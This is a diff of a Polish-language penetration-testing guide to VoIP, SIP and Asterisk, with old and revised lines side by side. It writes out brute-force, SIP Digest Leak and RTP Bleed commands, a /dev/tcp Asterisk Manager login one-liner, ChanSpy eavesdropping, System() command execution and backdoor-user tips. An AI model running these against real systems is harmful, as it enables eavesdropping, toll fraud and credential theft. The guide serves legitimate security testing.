A crucial step involves identifying the **private community string** used by organizations, particularly on Cisco IOS routers. This string enables the extraction of **running configurations** from routers. The identification often relies on analyzing SNMP Trap data for the word "trap" with a **grep command**:
Krytycznym krokiem jest zidentyfikowanie **prywatnego stringu społeczności** używanego przez organizacje, szczególnie na routerach Cisco IOS. Ten string umożliwia wydobycie **aktualnych konfiguracji** z routerów. Identyfikacja często opiera się na analizie danych SNMP Trap w poszukiwaniu słowa "trap" za pomocą **polecenia grep**:
```bash
grep -i "trap" *.snmp
```
@ -206,7 +206,7 @@ grep -i "login\|fail" *.snmp
```
### **Emaile**
Na koniec, aby wyodrębnić **adresy e-mail** z danych, używana jest **komenda grep** z wyrażeniem regularnym, koncentrując się na wzorcach, które pasują do formatów e-mail:
Na koniec, aby wyodrębnić **adresy e-mail** z danych, używa się **polecenia grep** z wyrażeniem regularnym, koncentrując się na wzorcach, które pasują do formatów e-mail:
```bash
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
```

View File

@ -3,7 +3,7 @@
{{#include ../../banners/hacktricks-training.md}}
## VoIP Podstawowe Informacje
## Podstawowe informacje o VoIP
Aby rozpocząć naukę o tym, jak działa VoIP, sprawdź:
@ -11,7 +11,7 @@ Aby rozpocząć naukę o tym, jak działa VoIP, sprawdź:
basic-voip-protocols/
{{#endref}}
## Podstawowe Wiadomości
## Podstawowe wiadomości
```
Request name Description RFC references
------------------------------------------------------------------------------------------------------
@ -32,7 +32,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
```
## Kody Odpowiedzi
**1xx—Odpowiedzi Proszące**
**1xx—Odpowiedzi Provisionalne**
```
100 Trying
180 Ringing
@ -47,7 +47,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
202 Accepted
204 No Notification
```
**3xx—Odpowiedzi przekierowujące**
**3xx—Odpowiedzi Przekierowujące**
```
300 Multiple Choices
301 Moved Permanently
@ -129,7 +129,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
```
## VoIP Enumeration
### Numery telefonów
### Numery Telefonów
Jednym z pierwszych kroków, które może podjąć Red Team, jest wyszukiwanie dostępnych numerów telefonów, aby skontaktować się z firmą, korzystając z narzędzi OSINT, wyszukiwania w Google lub skanowania stron internetowych.
@ -140,7 +140,7 @@ Gdy masz numery telefonów, możesz skorzystać z usług online, aby zidentyfiko
- [https://www.whitepages.com/](https://www.whitepages.com/)
- [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
Wiedząc, czy operator oferuje usługi VoIP, możesz zidentyfikować, czy firma korzysta z VoIP... Co więcej, możliwe, że firma nie zatrudniła usług VoIP, ale używa kart PSTN, aby połączyć swoją własną centralę VoIP z tradycyjną siecią telefoniczną.
Znając operatora, który świadczy usługi VoIP, możesz zidentyfikować, czy firma korzysta z VoIP... Co więcej, możliwe, że firma nie zatrudniła usług VoIP, ale używa kart PSTN, aby połączyć swoją własną centralę VoIP z tradycyjną siecią telefoniczną.
Rzeczy takie jak automatyczne odpowiedzi z muzyką zazwyczaj wskazują, że używane jest VoIP.
@ -208,7 +208,7 @@ sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
```
#### Dodatkowe enumeracje sieciowe
#### Dodatkowa enumeracja sieci
PBX może również udostępniać inne usługi sieciowe, takie jak:
@ -217,7 +217,7 @@ PBX może również udostępniać inne usługi sieciowe, takie jak:
- **389 (LDAP)**: Alternatywa do przechowywania informacji o użytkownikach
- **3306 (MySQL)**: Baza danych MySQL
- **5038 (Manager)**: Umożliwia korzystanie z Asteriska z innych platform
- **5222 (XMPP)**: Wiadomości za pomocą Jabbera
- **5222 (XMPP)**: Wiadomości za pomocą Jabber
- **5432 (PostgreSQL)**: Baza danych PostgreSQL
- I inne...
@ -229,7 +229,7 @@ sippts enumerate -i 10.10.0.10
```
### Analizowanie odpowiedzi serwera
Bardzo ważne jest, aby analizować nagłówki, które serwer wysyła z powrotem do nas, w zależności od rodzaju wiadomości i nagłówków, które wysyłamy. Z `SIPPTS send` z [**sippts**](https://github.com/Pepelux/sippts) możemy wysyłać spersonalizowane wiadomości, manipulując wszystkimi nagłówkami, i analizować odpowiedź.
Bardzo ważne jest, aby analizować nagłówki, które serwer do nas wysyła, w zależności od rodzaju wiadomości i nagłówków, które wysyłamy. Z `SIPPTS send` z [**sippts**](https://github.com/Pepelux/sippts) możemy wysyłać spersonalizowane wiadomości, manipulując wszystkimi nagłówkami, i analizować odpowiedź.
```bash
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
```
@ -254,16 +254,16 @@ sippts exten -i 10.10.0.10 -r 5060 -e 100-200
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
```
- **`enumiax` (`apt install enumiax`): enumIAX** to enumerator **brute-force nazw użytkowników** protokołu Inter Asterisk Exchange. enumIAX może działać w dwóch odrębnych trybach: sekwencyjne zgadywanie nazw użytkowników lub atak słownikowy.
- **`enumiax` (`apt install enumiax`): enumIAX** to protokół Inter Asterisk Exchange **do enumeracji nazw użytkowników metodą brute-force**. enumIAX może działać w dwóch odrębnych trybach: Sekwencyjne Zgadywanie Nazw Użytkowników lub Atak Słownikowy.
```bash
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
```
## Ataki VoIP
### Atak Brute-Force na hasło - online
### Atak Brute-Force na hasła - online
Po odkryciu **PBX** i kilku **rozszerzeń/nazw użytkowników**, Zespół Czerwony może spróbować **uwierzytelnić się za pomocą metody `REGISTER`** do rozszerzenia, używając słownika powszechnych haseł, aby przeprowadzić atak brute force na uwierzytelnienie.
Po odkryciu **PBX** i kilku **rozszerzeń/nazw użytkowników**, Zespół Czerwony może spróbować **uwierzytelnić się za pomocą metody `REGISTER`** do rozszerzenia, używając słownika powszechnych haseł do przeprowadzenia ataku brute force na uwierzytelnienie.
> [!CAUTION]
> Zauważ, że **nazwa użytkownika** może być taka sama jak rozszerzenie, ale ta praktyka może się różnić w zależności od systemu PBX, jego konfiguracji i preferencji organizacji...
@ -285,7 +285,7 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
### VoIP Sniffing
Jeśli znajdziesz sprzęt VoIP w **otwartej sieci WiFi**, możesz **przechwycić wszystkie informacje**. Co więcej, jeśli jesteś w bardziej zamkniętej sieci (połączonej przez Ethernet lub chronionej WiFi), możesz przeprowadzić **ataki MitM, takie jak** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) między **PBX a bramą**, aby przechwycić informacje.
Jeśli znajdziesz sprzęt VoIP w **otwartej sieci Wifi**, możesz **przechwycić wszystkie informacje**. Co więcej, jeśli jesteś w bardziej zamkniętej sieci (połączonej przez Ethernet lub chronioną Wifi), możesz przeprowadzić **ataki MitM, takie jak** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) między **PBX a bramą**, aby przechwycić informacje.
Wśród informacji sieciowych możesz znaleźć **dane logowania do zarządzania sprzętem**, **numery wewnętrzne** użytkowników, **nazwy użytkowników**, **adresy IP**, a nawet **zhardcodowane hasła** i **pakiety RTP**, które możesz odtworzyć, aby **usłyszeć rozmowę**, i więcej.
@ -295,16 +295,16 @@ Aby uzyskać te informacje, możesz użyć narzędzi takich jak Wireshark, tcpdu
> Zauważ, że jeśli **TLS jest używany w komunikacji SIP**, nie będziesz w stanie zobaczyć komunikacji SIP w czystym tekście.\
> To samo stanie się, jeśli używane są **SRTP** i **ZRTP**, **pakiety RTP nie będą w czystym tekście**.
#### Poświadczenia SIP (Brute-Force hasła - offline)
#### SIP credentials (Password Brute-Force - offline)
[Sprawdź ten przykład, aby lepiej zrozumieć **komunikację SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example), aby dowiedzieć się, jak **są wysyłane poświadczenia**.
[Sprawdź ten przykład, aby lepiej zrozumieć **komunikację SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example), aby dowiedzieć się, jak **dane logowania są wysyłane**.
- **`sipdump`** i **`sipcrack`**, część **sipcrack** (`apt-get install sipcrack`): Te narzędzia mogą **wyodrębnić** z **pcap** **uwierzytelnienia digest** w protokole SIP i **przeprowadzić brute-force**.
- **`sipdump`** i **`sipcrack`,** część **sipcrack** (`apt-get install sipcrack`): Te narzędzia mogą **wyodrębnić** z **pcap** **uwierzytelnienia digest** w protokole SIP i **przeprowadzić atak brute-force**.
```bash
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
```
- **`SIPPTS dump`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump może wyodrębnić uwierzytelnienia digest z pliku pcap.
- **`SIPPTS dump`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump może wyodrębnić uwierzytelnienia digest z pliku pcap.
```bash
sippts dump -f capture.pcap -o data.txt
```
@ -330,7 +330,7 @@ W Asterisku możliwe jest zezwolenie na połączenie **z konkretnego adresu IP**
host=10.10.10.10
host=dynamic
```
Jeśli adres IP jest określony, host **nie będzie musiał wysyłać żądań REGISTER** co jakiś czas (w pakiecie REGISTER wysyłany jest czas życia, zazwyczaj 30 minut, co oznacza, że w innym scenariuszu telefon będzie musiał REJESTROWAĆ się co 30 minut). Jednakże, będzie musiał mieć otwarte porty umożliwiające połączenia z serwerem VoIP, aby odbierać połączenia.
Jeśli adres IP jest określony, host **nie będzie musiał wysyłać żądań REGISTER** co jakiś czas (w pakiecie REGISTER wysyłany jest czas życia, zazwyczaj 30 minut, co oznacza, że w innym scenariuszu telefon będzie musiał REJESTROWAĆ się co 30 minut). Jednak będzie musiał mieć otwarte porty umożliwiające połączenia z serwerem VoIP, aby odbierać połączenia.
Aby zdefiniować użytkowników, można ich zdefiniować jako:
@ -352,9 +352,9 @@ Możliwe jest również nawiązanie zaufania za pomocą zmiennej insecure:
> `insecure=port,invite`\
> `type=friend`
### Darmowe Połączenia / Błędy Konfiguracji Kontekstu Asteriska
### Darmowe Połączenia / Błędy Konfiguracji Kontekstów Asteriska
W Asterisku **kontekst** to nazwany kontener lub sekcja w planie numeracyjnym, która **grupuje powiązane rozszerzenia, akcje i zasady**. Plan numeracyjny jest kluczowym komponentem systemu Asterisk, ponieważ definiuje **jak są obsługiwane i kierowane połączenia przychodzące i wychodzące**. Konteksty są używane do organizacji planu numeracyjnego, zarządzania kontrolą dostępu i zapewnienia separacji między różnymi częściami systemu.
W Asterisku **kontekst** to nazwany kontener lub sekcja w planie numeracyjnym, która **grupuje powiązane rozszerzenia, akcje i zasady**. Plan numeracyjny jest kluczowym elementem systemu Asterisk, ponieważ definiuje **jak są obsługiwane i kierowane połączenia przychodzące i wychodzące**. Konteksty są używane do organizacji planu numeracyjnego, zarządzania kontrolą dostępu i zapewnienia separacji między różnymi częściami systemu.
Każdy kontekst jest definiowany w pliku konfiguracyjnym, zazwyczaj w pliku **`extensions.conf`**. Konteksty są oznaczane nawiasami kwadratowymi, a nazwa kontekstu jest umieszczona w ich wnętrzu. Na przykład:
```bash
@ -369,7 +369,7 @@ exten => 100,n,Hangup()
```
Ten przykład demonstruje prosty kontekst o nazwie "my_context" z rozszerzeniem "100". Gdy ktoś wybierze 100, połączenie zostanie odebrane, zostanie odtworzona wiadomość powitalna, a następnie połączenie zostanie zakończone.
To jest **inny kontekst**, który pozwala na **wybieranie dowolnego innego numeru**:
To jest **inny kontekst**, który pozwala na **wywołanie dowolnego innego numeru**:
```scss
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
@ -388,7 +388,7 @@ include => external
- **`SIPPTS invite`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite sprawdza, czy **serwer PBX pozwala nam na wykonywanie połączeń bez autoryzacji**. Jeśli serwer SIP ma nieprawidłową konfigurację, pozwoli nam na wykonywanie połączeń do numerów zewnętrznych. Może również pozwolić na przekazanie połączenia do drugiego numeru zewnętrznego.
Na przykład, jeśli twój serwer Asterisk ma złą konfigurację kontekstu, możesz zaakceptować żądanie INVITE bez autoryzacji. W takim przypadku atakujący może wykonywać połączenia, nie znając żadnego użytkownika/hasła.
Na przykład, jeśli Twój serwer Asterisk ma złą konfigurację kontekstu, możesz zaakceptować żądanie INVITE bez autoryzacji. W takim przypadku atakujący może wykonywać połączenia, nie znając żadnego użytkownika/hasła.
```bash
# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
@ -404,7 +404,7 @@ IVRS w systemach VoIP zazwyczaj składa się z:
1. **Podpowiedzi głosowe**: Wstępnie nagrane wiadomości audio, które prowadzą użytkowników przez opcje menu IVR i instrukcje.
2. **DTMF** (Dual-Tone Multi-Frequency) signaling: Tones dotykowe generowane przez naciśnięcie klawiszy na telefonie, które są używane do nawigacji po menu IVR i dostarczania danych.
3. **Kierowanie połączeń**: Kierowanie połączeń do odpowiedniego celu, takiego jak konkretne działy, agenci lub numery wewnętrzne na podstawie danych od użytkownika.
3. **Kierowanie połączeń**: Kierowanie połączeń do odpowiedniego miejsca docelowego, takiego jak konkretne działy, agenci lub numery wewnętrzne na podstawie danych wprowadzonych przez użytkownika.
4. **Zbieranie danych od użytkowników**: Zbieranie informacji od dzwoniących, takich jak numery kont, identyfikatory spraw lub inne istotne dane.
5. **Integracja z systemami zewnętrznymi**: Łączenie systemu IVR z bazami danych lub innymi systemami oprogramowania w celu uzyskania lub aktualizacji informacji, wykonywania działań lub wyzwalania zdarzeń.
@ -431,27 +431,27 @@ Gdzie **`${EXTEN}`** to **numer wewnętrzny**, który będzie wywoływany, gdy *
```scss
exten => 101,1,Dial(SIP/101)
```
Jednakże, jeśli **`${EXTEN}`** pozwala na wprowadzenie **więcej niż cyfr** (jak w starszych wersjach Asteriska), atakujący mógłby wprowadzić **`101&SIP123123123`**, aby zadzwonić na numer telefonu 123123123. A oto byłby wynik:
Jednakże, jeśli **`${EXTEN}`** pozwala na wprowadzenie **więcej niż tylko cyfr** (jak w starszych wersjach Asteriska), atakujący mógłby wprowadzić **`101&SIP123123123`**, aby zadzwonić pod numer telefonu 123123123. A oto wynik:
```scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
```
Dlatego połączenie do numeru wewnętrznego **`101`** i **`123123123`** zostanie wysłane, a tylko pierwsze z nich nawiąże połączenie... ale jeśli atakujący użyje **numeru wewnętrznego, który omija jakiekolwiek dopasowanie**, które jest wykonywane, ale nie istnieje, mógłby **wstrzyknąć połączenie tylko do pożądanego numeru**.
Zatem połączenie do rozszerzenia **`101`** i **`123123123`** zostanie wysłane, a tylko pierwsze z nich nawiąże połączenie... ale jeśli atakujący użyje **rozszerzenia, które omija jakiekolwiek dopasowanie**, które jest wykonywane, ale nie istnieje, może **wstrzyknąć połączenie tylko do pożądanego numeru**.
## Luka w SIPDigestLeak
## Wrażliwość SIPDigestLeak
Luka SIP Digest Leak to podatność, która dotyczy dużej liczby telefonów SIP, w tym zarówno sprzętowych, jak i programowych telefonów IP oraz adapterów telefonicznych (VoIP na analogowe). Luka ta pozwala na **wyciek odpowiedzi na uwierzytelnienie Digest**, która jest obliczana na podstawie hasła. Możliwy jest **atak offline na hasło**, który może odzyskać większość haseł na podstawie odpowiedzi na wyzwanie.
Wrażliwość SIP Digest Leak dotyczy dużej liczby telefonów SIP, w tym zarówno sprzętowych, jak i programowych telefonów IP oraz adapterów telefonicznych (VoIP na analogowe). Wrażliwość ta pozwala na **wyciek odpowiedzi na uwierzytelnienie Digest**, która jest obliczana na podstawie hasła. Możliwy jest **atak offline na hasło**, który może odzyskać większość haseł na podstawie odpowiedzi na wyzwanie.
**[Scenariusz podatności stąd**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
**[Scenariusz wrażliwości stąd**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
1. Telefon IP (ofiara) nasłuchuje na dowolnym porcie (na przykład: 5060), akceptując połączenia telefoniczne
2. Atakujący wysyła INVITE do telefonu IP
3. Telefon ofiary zaczyna dzwonić, a ktoś odbiera i odkłada słuchawkę (ponieważ nikt nie odpowiada na telefon po drugiej stronie)
4. Gdy telefon zostaje odłożony, **telefon ofiary wysyła BYE do atakującego**
5. **Atakujący wydaje odpowiedź 407**, która **prosi o uwierzytelnienie** i wydaje wyzwanie uwierzytelniające
6. **Telefon ofiary podaje odpowiedź na wyzwanie uwierzytelniające** w drugim BYE
6. **Telefon ofiary dostarcza odpowiedź na wyzwanie uwierzytelniające** w drugim BYE
7. **Atakujący może następnie przeprowadzić atak brute-force** na odpowiedzi na wyzwanie na swoim lokalnym komputerze (lub w rozproszonej sieci itp.) i odgadnąć hasło
- **Wyciek SIPPTS** z [**sippts**](https://github.com/Pepelux/sippts)**:** Wyciek SIPPTS wykorzystuje lukę SIP Digest Leak, która dotyczy dużej liczby telefonów SIP. Wynik można zapisać w formacie SipCrack, aby przeprowadzić atak brute-force za pomocą SIPPTS dcrack lub narzędzia SipCrack.
- **Wyciek SIPPTS** z [**sippts**](https://github.com/Pepelux/sippts)**:** Wyciek SIPPTS wykorzystuje wrażliwość SIP Digest Leak, która dotyczy dużej liczby telefonów SIP. Wynik można zapisać w formacie SipCrack, aby przeprowadzić atak brute-force za pomocą SIPPTS dcrack lub narzędzia SipCrack.
```bash
sippts leak -i 10.10.0.10
@ -474,7 +474,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
```
### Click2Call
Click2Call pozwala **użytkownikowi sieci** (który na przykład może być zainteresowany produktem) na **podanie** swojego **numeru telefonu**, aby otrzymać połączenie. Następnie zostanie wykonane połączenie do agenta, a gdy **odbierze telefon**, użytkownik zostanie **połączony z agentem**.
Click2Call pozwala **użytkownikowi sieciowemu** (który na przykład może być zainteresowany produktem) **wprowadzić** swój **numer telefonu**, aby otrzymać połączenie. Następnie zostanie wykonane połączenie do agenta, a gdy **odbierze telefon**, użytkownik zostanie **połączony z agentem**.
Typowy profil Asterisk dla tego to:
```scss
@ -489,20 +489,20 @@ write = system,call,agent,user,config,command,reporting,originate
- Poprzedni profil pozwala na **połączenie z DOWOLNYM adresem IP** (jeśli hasło jest znane).
- Aby **zorganizować połączenie**, jak wcześniej określono, **nie są potrzebne uprawnienia do odczytu** i **tylko** **originate** w **zapisie** jest wymagane.
Dzięki tym uprawnieniom każdy adres IP znający hasło mógłby się połączyć i wydobyć zbyt wiele informacji, takich jak:
Z tymi uprawnieniami każdy adres IP znający hasło mógłby się połączyć i wydobyć zbyt wiele informacji, takich jak:
```bash
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
```
**Więcej informacji lub działań może być wymagane.**
**Więcej informacji lub działań może być wymaganych.**
### **Podsłuchiwanie**
W Asterisku możliwe jest użycie polecenia **`ChanSpy`**, wskazując **numer(y) wewnętrzny(e) do monitorowania** (lub wszystkie), aby słyszeć rozmowy, które się odbywają. To polecenie musi być przypisane do numeru wewnętrznego.
Na przykład, **`exten => 333,1,ChanSpy('all',qb)`** wskazuje, że jeśli **zadzwonisz** na **numer wewnętrzny 333**, będzie **monitorować** **`wszystkie`** numery wewnętrzne, **rozpoczynając nasłuchiwanie** za każdym razem, gdy rozpocznie się nowa rozmowa (**`b`**) w trybie cichym (**`q`**), ponieważ nie chcemy w to ingerować. Możesz przechodzić z jednej rozmowy do drugiej, naciskając **`*`**, lub wybierając numer wewnętrzny.
Na przykład, **`exten => 333,1,ChanSpy('all',qb)`** wskazuje, że jeśli **zadzwonisz** na **numer wewnętrzny 333**, będzie **monitorować** **`wszystkie`** numery wewnętrzne, **rozpoczynając nasłuchiwanie** za każdym razem, gdy rozpocznie się nowa rozmowa (**`b`**) w trybie cichym (**`q`**), ponieważ nie chcemy w nią ingerować. Możesz przechodzić z jednej rozmowy do drugiej, naciskając **`*`** lub wpisując numer wewnętrzny.
Możliwe jest również użycie **`ExtenSpy`**, aby monitorować tylko jeden numer wewnętrzny.
Możliwe jest również użycie **`ExtenSpy`** do monitorowania tylko jednego numeru wewnętrznego.
Zamiast słuchać rozmów, możliwe jest **nagrywanie ich w plikach** przy użyciu numeru wewnętrznego, takiego jak:
```scss
@ -516,27 +516,27 @@ Możesz również sprawić, że Asterisk **wykona skrypt, który ujawni połącz
```scss
exten => h,1,System(/tmp/leak_conv.sh &)
```
### RTCPBleed vulnerability
### Wrażliwość RTCPBleed
**RTCPBleed** to poważny problem bezpieczeństwa wpływający na serwery VoIP oparte na Asterisk (opublikowany w 2017 roku). Wrażliwość ta pozwala na **przechwytywanie i przekierowywanie ruchu **RTP (Real Time Protocol)**, który przenosi rozmowy VoIP, przez **każdego w Internecie**. Dzieje się tak, ponieważ ruch RTP omija uwierzytelnianie podczas przechodzenia przez zapory NAT (Network Address Translation).
**RTCPBleed** to poważny problem bezpieczeństwa dotyczący serwerów VoIP opartych na Asterisk (opublikowany w 2017 roku). Wrażliwość ta pozwala na **przechwytywanie i przekierowywanie ruchu **RTP (Real Time Protocol)**, który przenosi rozmowy VoIP, przez każdego w Internecie**. Dzieje się tak, ponieważ ruch RTP omija uwierzytelnianie podczas przechodzenia przez zapory NAT (Network Address Translation).
Proxysy RTP próbują rozwiązać **ograniczenia NAT** wpływające na systemy RTC, proxyzując strumienie RTP między dwiema lub więcej stronami. Gdy NAT jest w użyciu, oprogramowanie proxy RTP często nie może polegać na informacjach o IP i porcie RTP uzyskanych przez sygnalizację (np. SIP). Dlatego wiele proxy RTP wdrożyło mechanizm, w którym taki **tuplet IP i port jest uczony automatycznie**. Często odbywa się to poprzez inspekcję przychodzącego ruchu RTP i oznaczanie źródłowego IP i portu dla wszelkiego przychodzącego ruchu RTP jako tego, na który należy odpowiedzieć. Ten mechanizm, który może być nazywany "trybem uczenia się", **nie wykorzystuje żadnego rodzaju uwierzytelniania**. Dlatego **atakujący** mogą **wysyłać ruch RTP do proxy RTP** i otrzymywać proxowany ruch RTP przeznaczony dla dzwoniącego lub odbierającego w trwającym strumieniu RTP. Nazywamy tę podatność RTP Bleed, ponieważ pozwala ona atakującym na odbieranie strumieni mediów RTP przeznaczonych dla legalnych użytkowników.
Proxysy RTP próbują rozwiązać **ograniczenia NAT** wpływające na systemy RTC, proxyzując strumienie RTP pomiędzy dwiema lub więcej stronami. Gdy NAT jest w użyciu, oprogramowanie proxy RTP często nie może polegać na informacjach o IP i porcie RTP uzyskanych przez sygnalizację (np. SIP). Dlatego wiele proxy RTP wdrożyło mechanizm, w którym taki **tuplet IP i port jest uczony automatycznie**. Często odbywa się to poprzez inspekcję przychodzącego ruchu RTP i oznaczanie źródłowego IP i portu dla wszelkiego przychodzącego ruchu RTP jako tego, na który należy odpowiedzieć. Ten mechanizm, który może być nazywany "trybem uczenia się", **nie wykorzystuje żadnego rodzaju uwierzytelniania**. Dlatego **atakujący** mogą **wysyłać ruch RTP do proxy RTP** i otrzymywać proxowany ruch RTP przeznaczony dla dzwoniącego lub odbierającego w trwającym strumieniu RTP. Nazywamy tę wrażliwość RTP Bleed, ponieważ pozwala atakującym na odbieranie strumieni mediów RTP przeznaczonych dla legalnych użytkowników.
Innym interesującym zachowaniem proxy RTP i stosów RTP jest to, że czasami, **nawet jeśli nie są podatne na RTP Bleed**, będą **akceptować, przekazywać i/lub przetwarzać pakiety RTP z dowolnego źródła**. Dlatego atakujący mogą wysyłać pakiety RTP, co może pozwolić im na wstrzyknięcie swojego medium zamiast legalnego. Nazywamy ten atak wstrzyknięciem RTP, ponieważ pozwala on na wstrzyknięcie nielegalnych pakietów RTP do istniejących strumieni RTP. Ta podatność może występować zarówno w proxy RTP, jak i w punktach końcowych.
Innym interesującym zachowaniem proxy RTP i stosów RTP jest to, że czasami, **nawet jeśli nie są podatne na RTP Bleed**, będą **akceptować, przekazywać i/lub przetwarzać pakiety RTP z dowolnego źródła**. Dlatego atakujący mogą wysyłać pakiety RTP, co może pozwolić im na wstrzyknięcie swojego medium zamiast legalnego. Nazywamy ten atak wstrzyknięciem RTP, ponieważ pozwala na wstrzyknięcie nielegalnych pakietów RTP do istniejących strumieni RTP. Ta wrażliwość może występować zarówno w proxy RTP, jak i punktach końcowych.
Asterisk i FreePBX tradycyjnie używały ustawienia **`NAT=yes`**, które umożliwia ruchowi RTP omijanie uwierzytelniania, co potencjalnie prowadzi do braku dźwięku lub dźwięku jednokierunkowego w połączeniach.
Asterisk i FreePBX tradycyjnie używały ustawienia **`NAT=yes`**, które umożliwia ruchowi RTP omijanie uwierzytelniania, co potencjalnie prowadzi do braku dźwięku lub dźwięku jednostronnego w połączeniach.
Aby uzyskać więcej informacji, sprawdź [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
- **`SIPPTS rtpbleed`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed wykrywa podatność RTP Bleed, wysyłając strumienie RTP.
- **`SIPPTS rtpbleed`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed wykrywa wrażliwość RTP Bleed, wysyłając strumienie RTP.
```bash
sippts rtpbleed -i 10.10.0.10
```
- **`SIPPTS rtcpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed wykrywa podatność RTP Bleed, wysyłając strumienie RTCP.
- **`SIPPTS rtcpbleed`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed wykrywa podatność RTP Bleed, wysyłając strumienie RTCP.
```bash
sippts rtcpbleed -i 10.10.0.10
```
- **`SIPPTS rtpbleedflood`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood wykorzystuje lukę RTP Bleed, wysyłając strumienie RTP.
- **`SIPPTS rtpbleedflood`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood wykorzystuje lukę RTP Bleed, wysyłając strumienie RTP.
```bash
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
```
@ -550,51 +550,51 @@ W Asterisku w jakiś sposób udaje ci się **dodać reguły rozszerzeń i je prz
```scss
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
```
There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary.
Istnieje polecenie zwane **`Shell`**, które można użyć **zamiast `System`**, aby wykonać polecenia systemowe, jeśli zajdzie taka potrzeba.
> [!WARNING]
> If the server is **zabrania używania niektórych znaków** w poleceniu **`System`** (jak w Elastix), sprawdź, czy serwer WWW pozwala na **tworzenie plików w systemie** (jak w Elastix lub trixbox), i użyj tego do **utworzenia skryptu backdoor**, a następnie użyj **`System`** do **wykonania** tego **skryptu**.
> Jeśli serwer **nie zezwala na użycie niektórych znaków** w poleceniu **`System`** (jak w Elastix), sprawdź, czy serwer WWW pozwala na **tworzenie plików w systemie** (jak w Elastix lub trixbox) i użyj tego, aby **utworzyć skrypt backdoor**, a następnie użyj **`System`**, aby **wykonać** ten **skrypt**.
#### Interesting local files and permissions
#### Ciekawe lokalne pliki i uprawnienia
- **`sip.conf`** -> Zawiera hasło użytkowników SIP.
- If the **serwer Asterisk działa jako root**, możesz skompromitować root
- **mysql root user** might **nie mieć hasła**.
- this could be used to create a new mysql user as backdoor
- Jeśli **serwer Asterisk działa jako root**, możesz skompromitować root.
- **użytkownik root mysql** może **nie mieć hasła**.
- to może być użyte do stworzenia nowego użytkownika mysql jako backdoor.
- **`FreePBX`**
- **`amportal.conf`** -> Zawiera hasło administratora panelu webowego (FreePBX)
- **`FreePBX.conf`** -> Zawiera hasło użytkownika FreePBXuser używanego do uzyskania dostępu do bazy danych
- this could be used to create a new mysql user as backdoor
- **`amportal.conf`** -> Zawiera hasło administratora panelu webowego (FreePBX).
- **`FreePBX.conf`** -> Zawiera hasło użytkownika FreePBXuser używanego do uzyskania dostępu do bazy danych.
- to może być użyte do stworzenia nowego użytkownika mysql jako backdoor.
- **`Elastix`**
- **`Elastix.conf`** -> Zawiera kilka haseł w czystym tekście, takich jak hasło root mysql, hasło IMAPd, hasło administratora webowego
- **Kilka folderów** będzie należało do skompromitowanego użytkownika asterisk (jeśli nie działa jako root). Użytkownik ten może odczytać poprzednie pliki i kontroluje konfigurację, więc może sprawić, że Asterisk załaduje inne skompromitowane binaria podczas wykonywania.
- **`Elastix.conf`** -> Zawiera kilka haseł w czystym tekście, takich jak hasło root mysql, hasło IMAPd, hasło administratora webowego.
- **Kilka folderów** będzie należało do skompromitowanego użytkownika asterisk (jeśli nie działa jako root). Użytkownik ten może odczytać poprzednie pliki i kontroluje konfigurację, więc może sprawić, że Asterisk załaduje inne zainfekowane binaria podczas wykonywania.
### RTP Injection
### Wstrzykiwanie RTP
It's possible to insert a **`.wav`** in converstions using tools such as **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) and **`rtpmixsound`** (`sudo apt install rtpmixsound`).
Możliwe jest wstawienie **`.wav`** w rozmowach za pomocą narzędzi takich jak **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) i **`rtpmixsound`** (`sudo apt install rtpmixsound`).
